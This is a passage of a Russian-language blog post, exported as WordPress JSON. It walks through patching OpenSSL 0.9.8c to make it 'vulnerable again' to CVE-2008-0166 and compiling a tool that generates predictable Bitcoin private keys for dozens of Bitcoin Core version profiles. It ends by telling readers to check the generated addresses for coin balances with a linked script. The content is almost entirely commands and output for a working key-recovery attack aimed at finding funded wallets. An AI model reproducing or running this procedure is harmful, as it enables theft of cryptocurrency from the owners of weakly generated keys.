CryptoDeepTools\/05VulnerableOpenSSL\/  ls -lh<\/code><\/pre>\n<figure class=\"bordered full-width\"><figcaption><\/figcaption><\/figure>\n<p><em>\u041e\u0431\u043d\u043e\u0432\u0438\u043c \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c<\/em> <strong>g++ libgmp3-dev libmpfr-dev<\/strong><\/p>\n<pre><code class=\"bash\">apt-get update  sudo apt-get install g++ -y <\/code><\/pre>\n<figure class=\"bordered\"><figcaption>\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c g++<\/figcaption><\/figure>\n<pre><code class=\"bash\">sudo apt-get install libgmp3-dev libmpfr-dev -y<\/code><\/pre>\n<figure class=\"bordered\"><figcaption><\/figcaption><\/figure>\n<figure class=\"bordered full-width\"><figcaption>\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c \u043f\u0430\u043a\u0435\u0442\u044b libgmp3-dev libmpfr-dev<\/figcaption><\/figure>\n<p>\u0414\u043b\u044f \u0442\u043e\u0433\u043e \u0447\u0442\u043e\u0431\u044b <code>OpenSSL<\/code> \u0441\u043d\u043e\u0432\u0430 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u043a\u0430\u043a \u0432 <a href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2008-0166\" rel=\"noopener noreferrer nofollow\">CVE-2008-0166<\/a><br \/> <em>\u0421\u043a\u0430\u0447\u0430\u0435\u043c<\/em> <a href=\"https:\/\/ftp.openssl.org\/source\/old\/0.9.x\/openssl-0.9.8c.tar.gz\" rel=\"noopener noreferrer nofollow\">openssl-0.9.8c.tar.gz<\/a> <em>\u0438 \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0438\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b<\/em><\/p>\n<pre><code class=\"bash\">wget https:\/\/ftp.openssl.org\/source\/old\/0.9.x\/openssl-0.9.8c.tar.gz <\/code><\/pre>\n<figure class=\"bordered full-width\"><figcaption><\/figcaption><\/figure>\n<figure class=\"bordered full-width\"><figcaption><\/figcaption><\/figure>\n<pre><code class=\"bash\">tar xfz openssl-0.9.8c.tar.gz<\/code><\/pre>\n<figure class=\"bordered full-width\"><figcaption><\/figcaption><\/figure>\n<pre><code class=\"bash\">mv openssl-0.9.8c openssl-0.9.8c-vuln  cd openssl-0.9.8c-vuln<\/code><\/pre>\n<figure class=\"bordered full-width\"><figcaption><\/figcaption><\/figure>\n<pre><code class=\"bash\">ls -lh<\/code><\/pre>\n<figure class=\"bordered\"><figcaption><\/figcaption><\/figure>\n<pre><code class=\"bash\">patch -p1 &lt;..\/make-OpenSSL-0-9-8c-vulnerable-again.diff<\/code><\/pre>\n<figure class=\"bordered\"><figcaption><\/figcaption><\/figure>\n<h2>\u0412 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 LE-64 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c:<\/h2>\n<pre><code class=\"bash\">.\/Configure linux-x86_64 shared no-ssl2 no-ssl3 no-comp no-asm<\/code><\/pre>\n<figure class=\"bordered\"><figcaption><\/figcaption><\/figure>\n<pre><code class=\"bash\">make depend all<\/code><\/pre>\n<figure class=\"bordered\"><figcaption><\/figcaption><\/figure>\n<h2>\u041f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u043e\u0431\u0440\u0430\u0442\u043d\u043e \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 content\/<\/h2>\n<pre><code class=\"bash\">cd \/  ls<\/code><\/pre>\n<figure class=\"bordered\"><figcaption><\/figcaption><\/figure>\n<pre><code class=\"bash\">cd content\/CryptoDeepTools\/05VulnerableOpenSSL\/  ls -lh <\/code><\/pre>\n<figure class=\"bordered\"><figcaption><\/figcaption><\/figure>\n<h2>\u041a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f:<\/h2>\n<pre><code class=\"bash\">gcc -o cryptodeepbtcgen cryptodeepbtc.c -I.\/openssl-0.9.8c-vuln\/include -L.\/openssl-0.9.8c-vuln -lssl -lcrypto  ls -lh <\/code><\/pre>\n<figure class=\"\"><figcaption>cryptodeepbtcgen \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d!<\/figcaption><\/figure>\n<pre><code class=\"bash\">LD_LIBRARY_PATH=.\/openssl-0.9.8c-vuln\/ .\/cryptodeepbtcgen -h<\/code><\/pre>\n<figure class=\"bordered\"><figcaption><\/figcaption><\/figure>\n<h2>\u0412\u0441\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430 Bitcoin Core:<\/h2>\n<pre><code class=\"bash\">LD_LIBRARY_PATH=.\/openssl-0.9.8c-vuln\/ .\/cryptodeepbtcgen -l<\/code><\/pre>\n<figure class=\"bordered\"><figcaption><\/figcaption><\/figure>\n<pre><code class=\"bash\">crypto > LD_LIBRARY_PATH=.\/openssl-0.9.8c-vuln\/ .\/cryptodeepbtcgen -l #0   - 0.3.24 #1   - 0.8.6-d #2   - 0.8.6-qt #3   - 0.9.1-d #4   - 0.9.4-d #5   - unknownA #6   - unknownB #7   - unknownC #8   - unknownD #9   - unknownE #10  - unknownF #11  - unknownG #12  - unknownH #13  - unknownI #14  - unknownJ #15  - unknownK #16  - unknownA0 #17  - unknownA1 #18  - unknownA2 #19  - unknownA3 #20  - unknownA4 #21  - unknownB0 #22  - unknownB1 #23  - unknownB2 #24  - unknownB3 #25  - unknownC0 #26  - unknownC1 #27  - unknownC2 #28  - unknownD0 #29  - unknownD1 #30  - unknownD2 #31  - unknownD3 #32  - unknownD4 #33  - unknownD5 #34  - unknownE0 #35  - unknownA0x #36  - unknownA1x #37  - unknownA2x #38  - unknownA3x #39  - unknownA4x #40  - unknownB0x #41  - unknownB1x #42  - unknownB2x #43  - unknownB3x #44  - unknownC0x #45  - unknownC1x #46  - unknownC2x #47  - unknownD0x #48  - unknownD1x #49  - unknownD2x #50  - unknownD3x #51  - unknownD4x #52  - unknownD5x #53  - unknownE0x crypto > <\/code><\/pre>\n<h2>\u0417\u0430\u043f\u0443\u0441\u043a cryptodeepbtcgen -n 32 -v 0:<\/h2>\n<pre><code class=\"bash\">LD_LIBRARY_PATH=.\/openssl-0.9.8c-vuln\/ .\/cryptodeepbtcgen -n 32 -v 0 >> result.txt <\/code><\/pre>\n<figure class=\"bordered full-width\"><figcaption>\u0417\u0430\u043f\u0443\u0441\u043a cryptodeepbtcgen<\/figcaption><\/figure>\n<p>\u0412\u0441\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0432 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 <code>Google Drive<\/code> \u043a\u0430\u043a \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0444\u0430\u0439\u043b <code>result.txt<\/code><\/p>\n<figure class=\"bordered full-width\"><figcaption><\/figcaption><\/figure>\n<h2>\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u043a\u043b\u044e\u0447!  <\/h2>\n<figure class=\"bordered\"><figcaption>\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u043a\u043b\u044e\u0447 \u043d\u0430 \u0441\u0430\u0439\u0442\u0435 bitaddress<\/figcaption><\/figure>\n<p>\u0414\u0430\u043b\u0435\u0435 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0432\u0441\u0435 \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u0410\u0434\u0440\u0435\u0441\u0430 \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043c\u043e\u043d\u0435\u0442 BTC, \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f <em>Python-\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c<\/em>: <a href=\"https:\/\/github.com\/demining\/CryptoDeepTools\/blob\/main\/03CheckBitcoinAddressBalance\/bitcoin-checker.py\" rel=\"noopener noreferrer nofollow\">bitcoin-checker.py<\/a><\/p>\n<p><a href=\"https:\/\/github.com\/demining\/CryptoDeepTools\/tree\/main\/05VulnerableOpenSSL\" rel=\"noopener noreferrer nofollow\"><strong><u>\u0418\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434<\/u><\/strong><\/a><\/p>\n<p><strong>\u0412\u0438\u0434\u0435\u043e\u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b:\u00a0<\/strong><a href=\"https:\/\/youtu.be\/zHkXups2I8k\" rel=\"noopener noreferrer nofollow\"><strong><u>https:\/\/youtu.be\/zHkXups2I8k<\/u><\/strong><\/a><\/p>\n<p><strong>\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a:\u00a0<\/strong><a href=\"https:\/\/cryptodeep.ru\/vulnerable-openssl\" rel=\"noopener noreferrer nofollow\"><strong><u>https:\/\/cryptodeep.ru\/vulnerable-openssl<\/u><\/strong><\/a><\/p>\n<hr\/>\n<div class=\"tm-iframe_temp\" data-src=\"https:\/\/embedd.srv.habr.com\/iframe\/62d5d1096bb29b3416f407dc\" data-style=\"\" id=\"62d5d1096bb29b3416f407dc\" width=\"\"><\/div>\n<\/p>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"v-portal\" style=\"display:none;\"><\/div>\n<\/div>\n<p> <!----> <!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/post\/677562\/\"> https:\/\/habr.com\/ru\/post\/677562\/<\/a><br \/><\/br><\/br><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-335868","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/335868","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=335868"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/335868\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=335868"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=335868"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=335868"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}